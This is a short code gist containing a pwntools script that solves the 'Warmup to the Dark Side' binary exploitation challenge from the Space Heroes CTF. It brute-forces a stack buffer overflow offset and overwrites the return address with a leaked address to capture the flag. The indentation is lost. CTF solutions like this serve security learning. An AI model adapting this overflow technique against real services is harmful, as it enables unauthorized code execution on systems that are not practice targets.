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jktrn/warmup-to-the-dark-side.py

Created June 13, 2022 20:34
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Solve for the pwn/binary challenge "Warmup to the Dark Side" from the Space Heroes CTF competition.
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warmup-to-the-dark-side.py
from pwn import *
for i in range(32,128):
p = remote("0.cloud.chals.io", 30096)
address = p.readlineS()[112:126]
log.info("Trying offset " + str(i) + " for address " + address)
p.sendline(b'A'*i + p64(int(address, base=16)))
output = p.recvallS()
if "shctf" in output:
log.success(output)
break
p.close()
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